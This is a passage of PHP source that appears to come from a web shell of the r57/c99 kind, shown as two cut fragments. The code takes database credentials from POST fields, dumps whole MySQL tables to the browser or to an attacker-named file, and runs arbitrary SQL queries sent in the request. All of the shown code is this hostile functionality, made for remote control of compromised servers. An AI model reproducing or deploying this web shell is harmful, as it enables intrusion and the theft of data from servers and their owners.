} if ($_POST['cmd'] == "mysql_dump") { if (isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; if (!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } else { if (!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } else { if (!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } else { if (empty($_POST['dif'])) { foreach ($sql->dump as $v) { echo $v . "\r\n"; } } else { if ($fp) { foreach ($sql->dump as $v) { @fputs($fp, $v . "\r\n"); } } else {
} if (!empty($_POST['cccc']) && $_POST['cccc'] == "db_query") { echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';', $_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if (!$sql->connect()) { echo "<div align=center><font face=Verdana size=-2 color=red><b>" . $sql->error . "</b></font></div>"; } else { if (!empty($sql->base) && !$sql->select_db()) { echo "<div align=center><font face=Verdana size=-2 color=red><b>" . $sql->error . "</b></font></div>"; } else { foreach ($querys as $num => $query) { if (strlen($query) > 5) { echo "<font face=Verdana size=-2 color=#777777><b>Query#" . $num . " : " . htmlspecialchars($query, ENT_QUOTES) . "</b></font><br>"; switch ($sql->query($query)) { case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>" . $sql->error . "</b></font></td></tr></table>"; break; case '1': if ($sql->get_result()) { echo "<table width=100%>"; foreach ($sql->columns as $k => $v) { $sql->columns[$k] = htmlspecialchars($v, ENT_QUOTES); }